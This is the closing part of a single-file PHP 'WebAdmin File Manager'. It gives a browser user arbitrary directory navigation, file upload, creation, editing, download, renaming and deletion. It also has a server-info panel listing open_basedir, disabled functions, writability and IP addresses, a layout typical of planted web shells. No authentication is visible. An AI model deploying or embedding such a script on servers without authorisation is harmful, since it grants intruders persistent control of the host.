.cv::-webkit-scrollbar-thumb:hover,.tv::-webkit-scrollbar-thumb:hover,.eta::-webkit-scrollbar-thumb:hover{background:var(--tx3)}
@media(max-width:640px){
.app{padding:8px}
.hdr{padding:12px 14px;flex-direction:column;align-items:flex-start;gap:8px}
.hdr-m{text-align:left;width:100%}
.tbar{padding:8px 10px}
.ct{padding:12px}
.fr.stk .btn{width:100%;justify-content:center}
.ft th,.ft td{padding:6px 7px}
.ft .ch{display:none}
.fi{width:26px;height:26px;border-radius:6px;font-size:.52rem}
.al{font-size:.65rem;padding:2px 5px}
.bc{font-size:.73rem}
.pnl{padding:14px}
.hdr-logo{width:30px;height:30px;border-radius:7px;font-size:.65rem}
}
@media(min-width:641px) and (max-width:900px){
.ft .cm{display:none}
}
</style>
</head>
<body>
<div class="app">
<div class="hdr">
<div class="hdr-l">
<div class="hdr-logo">FM</div>
<div class="hdr-t">WebAdmin File Manager</div>
</div>
<div class="hdr-m"><?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> · PHP <?php echo PHP_VERSION; ?></div>
</div>
<div class="tbar">
<?php echo create_breadcrumbs($current_dir); ?>
<div class="ta">
<?php if (!$is_home): ?>
<a href="?cd=<?php echo urlencode($home_dir); ?>&token=<?php echo $security_token; ?>" class="btn bhome">Home</a>
<?php endif; ?>
<a href="?" class="btn">Files</a>
<a href="?action=upload" class="btn">Upload</a>
<a href="?action=create" class="btn">New</a>
<a href="?action=info" class="btn">Info</a>
<?php if ($has_parent): ?>
<a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn">Up</a>
<?php endif; ?>
</div>
</div>
<div class="ct">
<div class="tw" id="tw">
<?php if ($message): ?>
<div class="toast t<?php echo $message_type === 'success' ? 's' : 'e'; ?>"><?php echo sanitize_output($message); ?></div>
<?php endif; ?>
</div>
<?php if (isset($_GET['action']) && $_GET['action'] === 'upload'): ?>
<div class="pnl">
<h3>Upload File</h3>
<p style="font-size:.8rem;color:var(--tx3);margin-bottom:12px">
Target: <strong style="color:var(--tx2)"><?php echo sanitize_output($current_dir); ?></strong><br>
Max size: <?php echo format_size($config['max_upload_size']); ?>
<?php if (!empty($config['allowed_extensions'])): ?>
| Allowed: <?php echo sanitize_output(implode(', ', $config['allowed_extensions'])); ?>
<?php endif; ?>
</p>
<form method="post" enctype="multipart/form-data">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="file" name="upload_file" class="inp" required>
<button type="submit" class="btn bh">Upload</button>
</div>
</form>
</div>
<?php elseif (isset($_GET['action']) && $_GET['action'] === 'create'): ?>
<div class="pnl">
<h3>Create New</h3>
<form method="post" style="margin-bottom:12px">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="text" name="mkdir" class="inp" placeholder="New folder name...">
<button type="submit" class="btn bh">Create Folder</button>
</div>
</form>
<form method="post">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="fr stk">
<input type="text" name="create_file" class="inp" placeholder="New file name (e.g. config.php)...">
<button type="submit" class="btn bg">Create File</button>
</div>
</form>
</div>
<?php elseif (isset($_GET['action']) && $_GET['action'] === 'info'): ?>
<div class="pnl">
<h3>System Information</h3>
<div style="overflow-x:auto;-webkit-overflow-scrolling:touch">
<table class="itbl">
<tr><td class="lb">Server Software</td><td><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">PHP Version</td><td><?php echo PHP_VERSION; ?></td></tr>
<tr><td class="lb">Operating System</td><td><?php echo sanitize_output(php_uname()); ?></td></tr>
<tr><td class="lb">Server IP</td><td><?php echo sanitize_output($_SERVER['SERVER_ADDR'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Your IP</td><td><?php echo sanitize_output($_SERVER['REMOTE_ADDR'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Document Root</td><td><?php echo sanitize_output($_SERVER['DOCUMENT_ROOT'] ?? 'N/A'); ?></td></tr>
<tr><td class="lb">Script Path</td><td><?php echo sanitize_output(__FILE__); ?></td></tr>
<tr><td class="lb">Current Directory</td><td><?php echo sanitize_output($current_dir); ?></td></tr>
<tr><td class="lb">Home Directory</td><td><?php echo sanitize_output($home_dir); ?></td></tr>
<tr><td class="lb">Writable</td><td><?php echo is_writable($current_dir) ? '<span style="color:var(--gn)">Yes</span>' : '<span style="color:var(--rd)">No</span>'; ?></td></tr>
<tr><td class="lb">Disk Free</td><td><?php echo format_size(@disk_free_space($current_dir)); ?></td></tr>
<tr><td class="lb">Disk Total</td><td><?php echo format_size(@disk_total_space($current_dir)); ?></td></tr>
<tr><td class="lb">upload_max_filesize</td><td><?php echo ini_get('upload_max_filesize'); ?></td></tr>
<tr><td class="lb">post_max_size</td><td><?php echo ini_get('post_max_size'); ?></td></tr>
<tr><td class="lb">memory_limit</td><td><?php echo ini_get('memory_limit'); ?></td></tr>
<tr><td class="lb">max_execution_time</td><td><?php echo ini_get('max_execution_time'); ?>s</td></tr>
<?php $ob = ini_get('open_basedir'); ?>
<tr><td class="lb">open_basedir</td><td style="font-size:.76rem;word-break:break-all"><?php echo $ob ? sanitize_output($ob) : '<span style="color:var(--gn)">No restriction</span>'; ?></td></tr>
<?php $dl = ini_get('disable_functions'); ?>
<tr><td class="lb">Disabled Functions</td><td style="font-size:.76rem;word-break:break-all"><?php echo $dl ? sanitize_output($dl) : '<span style="color:var(--gn)">None</span>'; ?></td></tr>
</table>
</div>
</div>
<?php elseif (!empty($view_content)): ?>
<div class="pnl">
<div class="ph">
<h3 style="word-break:break-all">View: <?php echo sanitize_output($_GET['view']); ?></h3>
<div style="display:flex;gap:5px;flex-shrink:0;flex-wrap:wrap">
<?php if (is_editable($_GET['view'])): ?>
<a href="?edit=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bh bsm">Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($_GET['view']); ?>&token=<?php echo $security_token; ?>" class="btn bsm">Download</a>
<a href="?" class="btn bsm">Back</a>
</div>
</div>
<?php echo $view_content; ?>
</div>
<?php elseif (!empty($edit_content)): ?>
<div class="pnl">
<div class="ph">
<h3 style="word-break:break-all">Edit: <?php echo sanitize_output($edit_filename); ?></h3>
<a href="?" class="btn bsm">Back</a>
</div>
<form method="post">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="hidden" name="edit_filename" value="<?php echo sanitize_output($edit_filename); ?>">
<textarea name="edit_content" class="eta" id="editorArea"><?php echo sanitize_output($edit_content); ?></textarea>
<div class="ebar">
<button type="submit" name="save_edit" value="1" class="btn bh">Save Changes</button>
<a href="?view=<?php echo urlencode($edit_filename); ?>&token=<?php echo $security_token; ?>" class="btn">View</a>
<a href="?" class="btn">Cancel</a>
</div>
</form>
</div>
<?php else: ?>
<?php
$items = @scandir($current_dir);
if ($items === false) {
echo "<div class='msg me'>Cannot read directory contents. Check permissions.</div>";
} else {
$dirs = array();
$files = array();
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $current_dir . DS . $item;
if (is_dir($full)) { $dirs[] = $item; } else { $files[] = $item; }
}
sort($dirs);
sort($files);
$all_items = array_merge($dirs, $files);
$total_items = count($all_items);
$total_size = 0;
foreach ($files as $f) { $total_size += @filesize($current_dir . DS . $f); }
?>
<div class="sm">
<span><?php echo $total_items; ?> items · <?php echo count($dirs); ?> folders, <?php echo count($files); ?> files</span>
<span>Total: <?php echo format_size($total_size); ?></span>
</div>
<?php if (empty($all_items)): ?>
<div class="empty">
<div class="empty-i">0</div>
<p>This directory is empty.</p>
</div>
<?php else: ?>
<div style="overflow-x:auto;-webkit-overflow-scrolling:touch">
<table class="ft">
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th class="cm">Perms</th>
<th class="ch">Owner</th>
<th class="cm">Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($all_items as $item):
$full_path = $current_dir . DS . $item;
$is_dir = is_dir($full_path);
$icc = $is_dir ? 'i0' : get_file_icon_class($item);
$ext_label = $is_dir ? 'DIR' : strtoupper(get_file_extension($item) ?: '---');
$size = $is_dir ? '-' : format_size(@filesize($full_path));
$perms = get_perms($full_path);
$owner = get_owner_name($full_path);
$mtime = @filemtime($full_path);
$mtime_str = $mtime ? date('Y-m-d H:i', $mtime) : 'N/A';
?>
<tr>
<td>
<div class="fn-wrap <?php echo $icc; ?>">
<span class="fi"><?php echo $ext_label; ?></span>
<?php if ($is_dir): ?>
<a href="?cd=<?php echo urlencode($full_path); ?>&token=<?php echo $security_token; ?>" class="fn fnd"><?php echo sanitize_output($item); ?>/</a>
<?php else: ?>
<span class="fn"><?php echo sanitize_output($item); ?></span>
<?php endif; ?>
</div>
</td>
<td class="sc"><?php echo $size; ?></td>
<td class="pc cm"><?php echo $perms; ?></td>
<td class="oc ch"><?php echo sanitize_output($owner); ?></td>
<td class="dc cm"><?php echo $mtime_str; ?></td>
<td>
<div class="als">
<?php if (!$is_dir): ?>
<a href="?view=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">View</a>
<?php if (is_editable($item) && is_writable($full_path)): ?>
<a href="?edit=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">Edit</a>
<?php endif; ?>
<a href="?download=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al">DL</a>
<?php endif; ?>
<a href="javascript:void(0)" class="al" onclick="openRen('<?php echo addslashes(sanitize_output($item)); ?>')">Ren</a>
<a href="?delete=<?php echo urlencode($item); ?>&token=<?php echo $security_token; ?>" class="al ad" onclick="return cfDel('<?php echo addslashes(sanitize_output($item)); ?>',<?php echo $is_dir ? 'true' : 'false'; ?>)">Del</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php endif; ?>
<?php } ?>
<?php endif; ?>
</div>
</div>
<div class="mbg" id="renModal">
<div class="mbox">
<h3>Rename Item</h3>
<form method="post" id="renForm">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<input type="hidden" name="rename_from" id="renFrom" value="">
<label style="font-size:.82rem;font-weight:600;color:var(--tx2)">New name:</label>
<input type="text" name="rename_to" class="minput" id="renTo" required>
<div class="mbtns">
<button type="button" class="btn" onclick="closeRen()">Cancel</button>
<button type="submit" class="btn bh">Rename</button>
</div>
</form>
</div>
</div>
<script>
function openRen(n){document.getElementById('renFrom').value=n;document.getElementById('renTo').value=n;document.getElementById('renModal').classList.add('on');var el=document.getElementById('renTo');el.focus();el.select()}
function closeRen(){document.getElementById('renModal').classList.remove('on')}
function cfDel(n,d){return confirm('Delete '+(d?'folder':'file')+' "'+n+'"?' +(d?' All contents will be removed.':''))}
document.getElementById('renModal').addEventListener('click',function(e){if(e.target===this)closeRen()});
document.addEventListener('keydown',function(e){if(e.key==='Escape')closeRen()});
var ea=document.getElementById('editorArea');
if(ea){ea.addEventListener('keydown',function(e){if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+' '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4}})}
setTimeout(function(){var t=document.querySelectorAll('.toast');t.forEach(function(el){el.style.transition='opacity .3s';el.style.opacity='0';setTimeout(function(){el.remove()},300)})},4500);
</script>
</body>
</html>
Size: 47.21 KBMIME: text/x-phpLines: 1012